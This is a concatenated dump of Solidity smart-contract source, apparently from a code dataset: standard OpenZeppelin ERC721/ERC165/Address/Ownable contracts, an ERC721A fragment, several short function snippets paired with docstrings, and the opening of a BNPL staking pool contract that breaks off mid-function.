bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | Gets the hashes for each level a token has achieved _tokenId The token we are checking. return uint How many free levels the token has/ | function tokenFreeChanges(uint256 _tokenId)
tokenExists(_tokenId)
public view returns (uint) {
return getFree(_tokenId);
}
| 11,795,457 |
./full_match/5/0xBE030626Ff369F4dd8FE5c272EFfEDE7a5A08c69/sources/contracts/abstracts/ERC20Abstract.sol | Returns the name of the token./ | function name() public view virtual override returns (string memory) {
return _erc20_name;
}
| 1,882,326 |
./full_match/4/0xada8Ef417284AD27A6F61D01018a77E1F4bFeb9B/sources/contracts/Dragon.sol | TODO: change this, no needed to be owner of both dragons | function reproduceDragons(uint256 _motherId, uint256 _fatherId)
external
returns (uint256[2] memory _dragonEggIds)
{
require(ownerOf(_motherId) == msg.sender);
require(ownerOf(_fatherId) == msg.sender);
return
_reproduceDragons(
dragons[_motherId],
dragons[_fatherId],
ownerOf(_motherId),
ownerOf(_fatherId)
);
}
| 12,440,416 |
./partial_match/1/0x0Cd8De7c258cc8c840A8c5Fd46470bD290a87ff6/sources/src/TokenManager.sol | Gets the price tolerance of `token`/ | function getPriceTolerance(address token) public view returns (uint256 minPrice, uint256 maxPrice) {
minPrice = _minPriceTolerance[token];
maxPrice = _maxPriceTolerance[token];
}
| 3,623,308 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import {AccessControlEnumerableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import {ReentrancyGuardUpgradeable} from "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import {IMintableBurnableTokenUpgradeable} from "../../ERC20/interfaces/IMintableBurnableTokenUpgradeable.sol";
import {IBankNodeManager} from "../../Management/interfaces/IBankNodeManager.sol";
import {IBNPLBankNode} from "../interfaces/IBNPLBankNode.sol";
import {IBNPLNodeStakingPool} from "../interfaces/IBNPLNodeStakingPool.sol";
import {UserTokenLockup} from "./UserTokenLockup.sol";
import {BNPLKYCStore} from "../../Management/BNPLKYCStore.sol";
import {BankNodeUtils} from "../lib/BankNodeUtils.sol";
import {TransferHelper} from "../../Utils/TransferHelper.sol";
import {PRBMathUD60x18} from "../../Utils/Math/PRBMathUD60x18.sol";
/// @title BNPL StakingPool contract
///
/// @notice
/// - Features:
/// **Stake BNPL**
/// **Unstake BNPL**
/// **Lock BNPL**
/// **Unlock BNPL**
/// **Decommission a bank node**
/// **Donate BNPL**
/// **Redeem AAVE**
/// **Claim AAVE rewards**
/// **Cool down AAVE**
///
/// @author BNPL
contract BNPLStakingPool is
Initializable,
ReentrancyGuardUpgradeable,
AccessControlEnumerableUpgradeable,
UserTokenLockup,
IBNPLNodeStakingPool
{
using PRBMathUD60x18 for uint256;
/// @dev Emitted when user `user` is stakes `bnplStakeAmount` of BNPL tokens while receiving `poolTokensMinted` of pool tokens
event Stake(address indexed user, uint256 bnplStakeAmount, uint256 poolTokensMinted);
/// @dev Emitted when user `user` is unstakes `unstakeAmount` of liquidity while receiving `bnplTokensReturned` of BNPL tokens
event Unstake(address indexed user, uint256 bnplUnstakeAmount, uint256 poolTokensBurned);
/// @dev Emitted when user `user` donates `donationAmount` of base liquidity tokens to the pool
event Donation(address indexed user, uint256 donationAmount);
/// @dev Emitted when user `user` bonds `bondAmount` of base liquidity tokens to the pool
event Bond(address indexed user, uint256 bondAmount);
/// @dev Emitted when user `user` unbonds `unbondAmount` of base liquidity tokens to the pool
event Unbond(address indexed user, uint256 unbondAmount);
/// @dev Emitted when user `recipient` donates `donationAmount` of base liquidity tokens to the pool
event Slash(address indexed recipient, uint256 slashAmount);
uint32 public constant BNPL_STAKER_NEEDS_KYC = 1 << 3;
bytes32 public constant SLASHER_ROLE = keccak256("SLASHER_ROLE");
bytes32 public constant NODE_REWARDS_MANAGER_ROLE = keccak256("NODE_REWARDS_MANAGER_ROLE");
/// @dev BNPL token contract
IERC20 public BASE_LIQUIDITY_TOKEN;
/// @dev Pool BNPL token contract
IMintableBurnableTokenUpgradeable public POOL_LIQUIDITY_TOKEN;
/// @dev BNPL bank node contract
IBNPLBankNode public bankNode;
/// @dev BNPL bank node manager contract
IBankNodeManager public bankNodeManager;
/// @notice Total assets value
uint256 public override baseTokenBalance;
/// @notice Cumulative value of bonded tokens
uint256 public override tokensBondedAllTime;
/// @notice Pool BNPL token effective supply
uint256 public override poolTokenEffectiveSupply;
/// @notice Pool BNPL token balance
uint256 public override virtualPoolTokensCount;
/// @notice Cumulative value of donated tokens
uint256 public totalDonatedAllTime;
/// @notice Cumulative value of shashed tokens
uint256 public totalSlashedAllTime;
/// @notice The BNPL KYC store contract
BNPLKYCStore public bnplKYCStore;
/// @notice The corresponding id in the BNPL KYC store
uint32 public kycDomainId;
/// @dev StakingPool contract is created and initialized by the BankNodeManager contract
///
/// - This contract is called through the proxy.
///
/// @param bnplToken BNPL token address
/// @param poolBNPLToken pool BNPL token address
/// @param bankNodeContract BankNode contract address associated with stakingPool
/// @param bankNodeManagerContract BankNodeManager contract address
/// @param tokenBonder The address of the BankNode creator
/// @param tokensToBond The amount of BNPL bound by the BankNode creator (initial liquidity amount)
/// @param bnplKYCStore_ KYC store contract address
/// @param kycDomainId_ KYC store domain id
function initialize(
address bnplToken,
address poolBNPLToken,
address bankNodeContract,
address bankNodeManagerContract,
address tokenBonder,
uint256 tokensToBond,
BNPLKYCStore bnplKYCStore_,
uint32 kycDomainId_
) external override initializer nonReentrant {
require(bnplToken != address(0), "bnplToken cannot be 0");
require(poolBNPLToken != address(0), "poolBNPLToken cannot be 0");
require(bankNodeContract != address(0), "slasherAdmin cannot be 0");
require(tokenBonder != address(0), "tokenBonder cannot be 0");
require(tokensToBond > 0, "tokensToBond cannot be 0");
__ReentrancyGuard_init_unchained();
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
BASE_LIQUIDITY_TOKEN = IERC20(bnplToken);
POOL_LIQUIDITY_TOKEN = IMintableBurnableTokenUpgradeable(poolBNPLToken);
bankNode = IBNPLBankNode(bankNodeContract);
bankNodeManager = IBankNodeManager(bankNodeManagerContract);
_setupRole(SLASHER_ROLE, bankNodeContract);
_setupRole(NODE_REWARDS_MANAGER_ROLE, tokenBonder);
require(BASE_LIQUIDITY_TOKEN.balanceOf(address(this)) >= tokensToBond, "tokens to bond not sent");
baseTokenBalance = tokensToBond;
tokensBondedAllTime = tokensToBond;
poolTokenEffectiveSupply = tokensToBond;
virtualPoolTokensCount = tokensToBond;
bnplKYCStore = bnplKYCStore_;
kycDomainId = kycDomainId_;
POOL_LIQUIDITY_TOKEN.mint(address(this), tokensToBond);
emit Bond(tokenBonder, tokensToBond);
}
/// @notice Returns pool tokens circulating
/// @return poolTokensCirculating
function poolTokensCirculating() external view override returns (uint256) {
return poolTokenEffectiveSupply - POOL_LIQUIDITY_TOKEN.balanceOf(address(this));
}
/// @notice Returns unstake lockup period
/// @return unstakeLockupPeriod
function getUnstakeLockupPeriod() public pure override returns (uint256) {
return 7 days;
}
/// @notice Returns pool total assets value
/// @return poolTotalAssetsValue
function getPoolTotalAssetsValue() public view override returns (uint256) {
return baseTokenBalance;
}
/// @notice Returns whether the BankNode has been decommissioned
///
/// - When the liquidity tokens amount of the BankNode is less than minimum BankNode bonded amount, it is decommissioned
///
/// @return isNodeDecomissioning
function isNodeDecomissioning() public view override returns (bool) {
return
getPoolWithdrawConversion(POOL_LIQUIDITY_TOKEN.balanceOf(address(this))) <
((bankNodeManager.minimumBankNodeBondedAmount() * 75) / 100);
}
/// @notice Returns pool deposit conversion
///
/// @param depositAmount The deposit tokens amount
/// @return poolDepositConversion
function getPoolDepositConversion(uint256 depositAmount) public view returns (uint256) {
uint256 poolTotalAssetsValue = getPoolTotalAssetsValue();
return (depositAmount * poolTokenEffectiveSupply) / (poolTotalAssetsValue > 0 ? poolTotalAssetsValue : 1);
}
/// @notice Returns pool withdraw conversion
///
/// @param withdrawAmount The withdraw tokens amount
/// @return poolWithdrawConversion
function getPoolWithdrawConversion(uint256 withdrawAmount) public view override returns (uint256) {
return
(withdrawAmount * getPoolTotalAssetsValue()) /
